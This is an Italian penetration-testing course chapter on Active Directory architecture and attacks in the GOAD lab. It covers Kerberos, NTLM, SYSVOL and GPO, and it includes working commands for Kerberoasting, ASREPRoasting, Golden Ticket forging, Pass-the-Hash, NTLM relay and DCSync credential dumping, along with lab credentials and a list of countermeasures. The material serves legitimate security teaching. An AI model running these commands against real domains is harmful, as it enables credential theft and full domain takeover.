HomeCapitolo 2

CAPITOLO 02 / 05

Active Directory
e GOAD

Active Directory è il cuore pulsante di ogni infrastruttura Windows enterprise. Comprendere la sua architettura è essenziale per il penetration tester: ogni misconfiguration può trasformarsi in un vettore di compromissione del dominio intero.

6 sezioni
Livello: Avanzato
Lab: GOAD (Game of Active Directory)
Tag: Kerberos · NTLM · BloodHound · DCSync

§ 2.1

Architettura di Active Directory

Active Directory Domain Services (AD DS) è il servizio di directory Microsoft che fornisce autenticazione e autorizzazione centralizzata in ambienti Windows. La struttura gerarchica si compone di Forest → Domain → Organizational Unit (OU).

Per il penetration tester, comprendere questa struttura è fondamentale perché: i trust relationship tra domini possono essere sfruttati per movimento laterale tra foreste; le GPO (Group Policy Objects) contengono spesso configurazioni errate; le ACL (Access Control Lists) su oggetti AD permettono privilege escalation senza exploit kernel.

Componenti chiave: LDAP (porta 389/636) per query alla directory, Kerberos (porta 88) per autenticazione, DNS (porta 53) integrato con AD, RPC/DCOM per amministrazione remota.

# Enumerazione struttura AD Get-ADDomain Get-ADForest Get-ADDomainController -Discover Get-ADTrust -Filter * # Utenti con attributi interessanti Get-ADUser -Filter * -Properties * | Select-Object SamAccountName, Description, PasswordNeverExpires, PasswordLastSet, LastLogonDate, MemberOf | Where-Object { $_.PasswordNeverExpires -eq $true } # Computer nel dominio Get-ADComputer -Filter * -Properties OperatingSystem,LastLogonDate | Select-Object Name, OperatingSystem, LastLogonDate

§ 2.2

GOAD: Game of Active Directory

GOAD (Game of Active Directory) è un progetto open source creato da Orange-Cyberdefense che permette di deployare un laboratorio Active Directory vulnerabile e realistico tramite Vagrant + Ansible. Il lab simula un'infrastruttura ispirata ai personaggi di "Game of Thrones" con più domini, trust relationship e vulnerabilità intenzionali.

GOAD include: 5 macchine virtuali Windows (2 DC, 3 workstation), 2 domain + forest trust, multipli vettori di attacco pre-configurati (Kerberoasting, ASREPRoasting, Pass-the-Hash, PrintNightmare, zerologon, ecc.).

# Installazione GOAD (Kali/Ubuntu) git clone https://github.com/Orange-Cyberdefense/GOAD cd GOAD # Prerequisiti pip3 install ansible pywinrm vagrant plugin install vagrant-reload # Deploy vagrant up # ~30-60 minuti cd ansible && ansible-playbook -i ../ad/GOAD/data/inventory main.yml # Network GOAD # 192.168.56.10 — DC01 (SEVENKINGDOMS.local) # 192.168.56.11 — DC02 (NORTH.SEVENKINGDOMS.local) # 192.168.56.22 — SRV02 (workstation)
💡 Risorse GOAD

Il repository ufficiale include walkthrough dettagliati per ogni vettore di attacco. Ogni vulnerabilità è documentata con la sua contromisura difensiva corrispondente.

§ 2.3

Domain Controller e LDAP

Il Domain Controller (DC) è il server che ospita AD DS e gestisce l'autenticazione. Il Primary DC Emulator (PDC) gestisce il cambio password e la sincronizzazione NTP. LDAP è il protocollo usato per interrogare e modificare la directory.

Dal punto di vista offensivo, le query LDAP anonime (se permesse) o autenticate con credenziali di un utente di dominio standard possono rivelare l'intera struttura AD. Tool come ldapsearch, ldapdomaindump e BloodHound/SharpHound automatizzano la raccolta.

🩸
BloodHound
Graph attack paths in AD: trova il percorso più breve verso Domain Admin
📡
ldapdomaindump
Dump completo AD in formati JSON/HTML/grep-friendly
🔍
ADExplorer
GUI LDAP browser di Sysinternals per analisi AD
🗺️
SharpHound
Collector C# per BloodHound: enumera relazioni e ACL
# ldapdomaindump ldapdomaindump -u 'DOMAIN\user' -p 'Password' 192.168.56.10 # ldapsearch query manuale ldapsearch -x -H ldap://DC01 -D "CN=user,DC=domain,DC=local" \ -w Password -b "DC=domain,DC=local" "(objectClass=user)" \ sAMAccountName userPrincipalName memberOf # BloodHound collection (da Windows) .\SharpHound.exe -c All --zipfilename loot.zip # BloodHound.py (da Kali) bloodhound-python -u user -p 'Pass' -d domain.local -ns 192.168.56.10 -c All

§ 2.4

SYSVOL, NETLOGON e GPO

SYSVOL è una condivisione replicata tra tutti i DC che contiene GPO, script di logon e file di policy. È accessibile in lettura a tutti gli utenti autenticati del dominio e storicamente è stata fonte di credenziali in chiaro (cPassword in GPP).

Group Policy Preferences (GPP) permettevano agli amministratori di distribuire password via GPO fino a Windows Server 2012. Queste password erano cifrate con una chiave AES pubblicata da Microsoft sul MSDN — rendendo la decrittazione triviale. Il tool Get-GPPPassword automatizza il processo.

# Ricerca cPassword in SYSVOL findstr /S /I cpassword \\DC01\SYSVOL\domain.local\Policies\ # Decrittazione GPP password (Kali) gpp-decrypt "+bsY0V3D4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE=" # Get-GPPPassword (PowerShell) Get-GPPPassword # Enumerazione GPO Get-GPO -All | Select-Object DisplayName, Id, GpoStatus Get-GPOReport -All -ReportType HTML -Path C:\Temp\gpos.html
⚠ MS14-025

Microsoft ha corretto la vulnerabilità GPP con MS14-025 (maggio 2014) eliminando la possibilità di impostare password via GPP nell'interfaccia grafica. Tuttavia i file XML con cPassword esistenti prima della patch rimangono nel SYSVOL fino a rimozione manuale.

§ 2.5

Kerberos: Autenticazione e Attacchi

Kerberos è il protocollo di autenticazione primario in AD. Funziona con un sistema di ticket emessi dal KDC (Key Distribution Center) che risiede sul DC. Il flusso base: il client richiede un TGT (Ticket Granting Ticket) al KDC, poi usa il TGT per richiedere TGS (Service Tickets) per accedere a servizi specifici.

I principali vettori di attacco Kerberos nel pentest moderno includono:

🎰
Kerberoasting
Richiesta TGS per account con SPN → crack offline dell'hash RC4/AES
👤
ASREPRoasting
Account senza pre-auth → richiesta AS-REP → crack offline
🥇
Pass-the-Ticket
Riutilizzo di ticket Kerberos (.kirbi) estratti da LSASS
Golden Ticket
Forgiatura TGT con hash KRBTGT → accesso illimitato al dominio
🥈
Silver Ticket
Forgiatura TGS per un servizio specifico con hash dell'account servizio
💎
Diamond Ticket
Variante Golden Ticket che modifica un TGT legittimo (meno rilevabile)
# Kerberoasting con Impacket (da Kali) impacket-GetUserSPNs -request -dc-ip 192.168.56.10 NORTH.local/jon.snow:Iknow0things # ASREPRoasting impacket-GetNPUsers -dc-ip 192.168.56.10 NORTH.local/ -usersfile users.txt -no-pass # Crack degli hash con Hashcat hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt # Rubeus (da Windows): Kerberoasting .\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap # Golden Ticket con Mimikatz lsadump::dcsync /user:krbtgt # ottieni hash KRBTGT kerberos::golden /user:administrator /domain:north.local \ /sid:S-1-5-21-... /krbtgt:<hash> /ptt

§ 2.6

NTLM e Attacchi Pass-the-Hash

NTLM (NT LAN Manager) è il protocollo di autenticazione legacy ancora ampiamente usato in ambienti Windows, in particolare per autenticazioni verso IP address (non FQDN), workgroup e sistemi pre-Windows 2000.

L'attacco Pass-the-Hash (PtH) sfrutta il fatto che NTLM non richiede la password in chiaro ma solo l'hash NTLM. Un attaccante con l'hash può autenticarsi come quell'utente senza conoscere la password. Tool come Mimikatz, CrackMapExec e Impacket implementano questa tecnica.

NTLM Relay è un attacco complementare: l'attaccante intercetta una challenge NTLM e la rilancia verso un altro sistema, autenticandosi al posto della vittima. Responder + ntlmrelayx sono la combinazione standard.

# Pass-the-Hash con CrackMapExec cme smb 192.168.56.0/24 -u Administrator -H "aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3d7f8c" # Pass-the-Hash con Impacket impacket-psexec -hashes aad3b435...:8f81ee55... NORTH/Administrator@192.168.56.11 # NTLM Relay Attack # 1. Avvia Responder (cattura challenge) responder -I eth0 -rdw # 2. Relay verso target (altra shell) impacket-ntlmrelayx -tf targets.txt -smb2support -i # DCSync (dump tutti gli hash del dominio) impacket-secretsdump -just-dc NORTH/Administrator:'Pass'@DC01 # Con Mimikatz: lsadump::dcsync /domain:north.local /all /csv
📌 Contromisure NTLM

Mitigazioni: abilitare SMB Signing obbligatorio, disabilitare NTLMv1, implementare Protected Users Security Group, abilitare Credential Guard (Virtualization Based Security), e dove possibile disabilitare NTLM completamente preferendo Kerberos.

Successivo
Kali Linux e Pen Testing